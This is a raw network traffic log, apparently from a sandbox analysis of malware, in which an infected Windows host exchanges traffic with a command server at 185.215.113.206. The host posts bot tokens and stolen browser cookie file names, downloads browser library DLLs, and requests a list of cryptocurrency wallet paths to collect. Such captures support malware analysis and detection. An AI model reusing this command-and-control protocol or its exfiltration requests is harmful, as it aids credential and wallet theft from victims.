Oct 30, 2024 15:59:21.853509903 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:21 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 15:59:22.037642956 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECFCBFBGDBKJKECAAKKF Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 43 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------ECFCBFBGDBKJKECAAKKFContent-Disposition: form-data; name="file"------ECFCBFBGDBKJKECAAKKF--
Oct 30, 2024 15:59:22.812096119 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:22 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49716	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 15:59:31.129478931 CET	203	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDBFIIEBGCAKKEBFBAAF Host: 185.215.113.206 Content-Length: 3087 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 15:59:31.129528999 CET	3087	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 42 46 49 49 45 42 47 43 41 4b 4b 45 42 46 42 41 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 Data Ascii: ------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------JDBFIIEBGCAKKEBFBAAFContent-Disposition: form-data; name="file_name"Y29va2llc1xNa
Oct 30, 2024 15:59:32.597840071 CET	203	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 15:59:32.706886053 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJK Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 45 43 42 46 49 44 47 44 41 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CFIECBFIDGDAKFHIEHJKContent-Disposition: form-data; name="file"------CFIECBFIDGDAKFHIEHJK--
Oct 30, 2024 15:59:33.472805977 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 15:59:34.052772045 CET	94	OUT	GET /746f34465cf17784/freebl3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 15:59:34.328577042 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:34 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "a7550-5e7e950876500" Accept-Ranges: bytes Content-Length: 685392 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!4p@AHSxFP/# @.text `.rdata @@.data<F0@.00cfg@@.rsrcx@@.reloc#$"@B
Oct 30, 2024 15:59:34.328650951 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 89 e5 68 4f 01 00 00 e8 f2 0b 08 00 83 c4 04 85 c0 74 0e 89 80 38 01 00 00 83 c0 0f 83 e0 f0 5d c3 68 13 e0 ff ff e8 c7 0b Data Ascii: UhOt8]h1]UWVE
Oct 30, 2024 15:59:34.328674078 CET	1236	IN	Data Raw: 85 c0 74 1e 8b 75 1c 8b 7d 14 8b 55 10 8b 4d 0c 85 ff 74 22 f2 0f 10 07 f2 0f 11 80 30 01 00 00 eb 28 68 05 e0 ff ff e8 7f 0b 08 00 83 c4 04 b8 ff ff ff ff eb 26 c7 80 34 01 00 00 a6 a6 a6 a6 c7 80 30 01 00 00 a6 a6 a6 a6 6a 10 56 6a 00 6a 00 52 Data Ascii: tu}UMt"0(h&40jVjjRQP?^_]USWVhO?t081tkEU]Mt0%h1<40jRjjPQWt8
Oct 30, 2024 15:59:34.328744888 CET	1236	IN	Data Raw: 00 0f 84 98 02 00 00 8b 75 18 85 f6 0f 84 8d 02 00 00 89 54 24 34 89 44 24 30 89 f8 83 e0 f8 50 e8 88 06 08 00 83 c4 04 85 c0 0f 84 7c 02 00 00 89 c3 89 f8 c1 ef 03 8d 4f ff 89 4c 24 38 50 56 53 e8 27 07 08 00 83 c4 0c f2 0f 10 03 f2 0f 11 44 24 Data Ascii: uT$4D$0P\|OL$8PVS'D$@?@L$L$D$D$D$$D$ 11\$($D$T$L$D$D$t$8D$D$@L$T$\|$
Oct 30, 2024 15:59:34.328762054 CET	1236	IN	Data Raw: 89 45 d8 8d 45 dc 89 f9 31 d2 ff 75 1c ff 75 18 53 50 56 8d 45 e0 50 e8 b4 fa ff ff 83 c4 18 89 c7 85 ff 0f 85 6f 01 00 00 b9 01 e0 ff ff 39 5d dc 0f 85 53 01 00 00 8b 55 e0 0f ca b8 a6 59 59 a6 29 d0 81 c2 5a a6 a6 59 09 c2 0f b6 45 e4 0f b6 4d Data Ascii: EE1uuSPVEPo9]SUYY)ZYEME]M)19DEEE\|0)U\|2!!)]\|3)\|3!)
Oct 30, 2024 15:59:34.328779936 CET	1236	IN	Data Raw: 8c 00 00 00 8b 55 ac 89 c8 31 db 39 ca 74 3c 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 00 0f b6 0c 07 30 4c 06 0c 0f b6 0c 07 30 8c 06 8c 00 00 00 0f b6 4c 07 01 30 4c 06 0d 0f b6 4c 07 01 30 8c 06 8d 00 00 00 83 c0 02 39 c2 75 d1 8b 4d f0 31 e9 e8 37 Data Ascii: U19t<f.0L0L0LL09uM17L^_[]USWVh1tlEGGHt1Uuut,tGHjSGW:G
Oct 30, 2024 15:59:34.328798056 CET	848	IN	Data Raw: ff 8b 75 08 8a 04 0e 88 06 c6 04 0e 00 b8 02 00 00 00 66 0f 1f 44 00 00 0f b6 54 06 ff 0f b6 f9 01 d7 0f b6 8c 05 ef fe ff ff 01 f9 0f b6 f9 0f b6 1c 3e 88 5c 06 ff 88 14 3e 3d 00 01 00 00 74 25 0f b6 14 06 0f b6 f9 01 d7 0f b6 8c 05 f0 fe ff ff Data Ascii: ufDT>\>=t%>>f1hM1)^_[]USWV01Eh1E=s hk
Oct 30, 2024 15:59:34.328875065 CET	1236	IN	Data Raw: 84 ac 00 00 00 8b 45 ec 04 04 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 37 88 24 0f 88 14 37 8b 75 14 00 d4 0f b6 cc 8b 5d 10 8a 53 03 32 14 0f 8b 4d e4 88 51 03 83 fe 04 74 74 8b 45 ec 04 05 0f b6 c8 8b 7d f0 8a 14 0f 00 d6 0f b6 f6 8a 24 Data Ascii: E}$7$7u]S2MQttE}$7$7u]S2MQt<E}$7$7u]S2]SEu0EMME)us) }
Oct 30, 2024 15:59:34.328891993 CET	1236	IN	Data Raw: 66 0f 6f 35 e0 20 08 10 66 0f fe c6 f3 0f 5b c0 66 0f 70 fd f5 66 0f f4 e8 66 0f 70 ed e8 66 0f 70 c0 f5 66 0f f4 c7 66 0f 70 c0 e8 66 0f 62 e8 66 0f eb cd 66 0f 72 f3 17 66 0f fe de f3 0f 5b c3 66 0f 70 dc f5 66 0f f4 e0 66 0f 70 e4 e8 66 0f 70 Data Ascii: fo5 f[fpffpfpffpfbffrf[fpffpfpffpfbfffpffpUff~MU9UEuUM}]?uu]}9u}UM}]Et5UM9M]
Oct 30, 2024 15:59:34.328907013 CET	1236	IN	Data Raw: 8b 01 89 85 9c fe ff ff 89 c7 01 f7 8b 52 04 89 95 f8 fe ff ff 8b 41 04 89 85 a0 fe ff ff 89 c3 11 d3 8b 41 20 89 85 c4 fe ff ff 01 c7 8b 71 24 11 f3 89 5d c8 89 b5 98 fe ff ff 8b 51 44 31 da 8b 41 40 31 f8 89 fb 81 f2 7f 52 0e 51 89 95 50 ff ff Data Ascii: RAA q$]QD1A@1RQP5}gjM31tQIU]U1P1]PMMEE11xp
Oct 30, 2024 15:59:37.381021976 CET	94	OUT	GET /746f34465cf17784/mozglue.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 15:59:37.656634092 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:37 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 30, 2024 15:59:39.279854059 CET	95	OUT	GET /746f34465cf17784/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 15:59:39.555677891 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:39 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 30, 2024 15:59:40.371634960 CET	91	OUT	GET /746f34465cf17784/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 15:59:40.648031950 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:40 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 30, 2024 15:59:42.511744022 CET	95	OUT	GET /746f34465cf17784/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 15:59:42.788300991 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:42 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 30, 2024 15:59:43.063812971 CET	99	OUT	GET /746f34465cf17784/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Oct 30, 2024 15:59:43.340384007 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:43 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 30, 2024 15:59:44.174001932 CET	202	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHD Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Oct 30, 2024 15:59:44.952490091 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 30, 2024 15:59:45.209896088 CET	469	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFBFHIEBKJKFHIEBFBAE Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 31 31 66 37 31 33 35 30 30 35 66 37 37 31 31 66 36 66 63 37 66 66 38 66 33 30 64 61 34 35 38 64 62 65 30 31 30 66 61 31 35 35 34 61 34 38 66 62 30 34 66 39 39 38 63 34 36 31 35 32 61 37 32 35 30 39 66 37 30 36 34 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 46 42 46 48 49 45 42 4b 4a 4b 46 48 49 45 42 46 42 41 45 2d 2d 0d 0a Data Ascii: ------CFBFHIEBKJKFHIEBFBAEContent-Disposition: form-data; name="token"a11f7135005f7711f6fc7ff8f30da458dbe010fa1554a48fb04f998c46152a72509f7064------CFBFHIEBKJKFHIEBFBAEContent-Disposition: form-data; name="message"wallets------CFBFHIEBKJKFHIEBFBAE--
Oct 30, 2024 15:59:45.488873005 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 14:59:45 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: 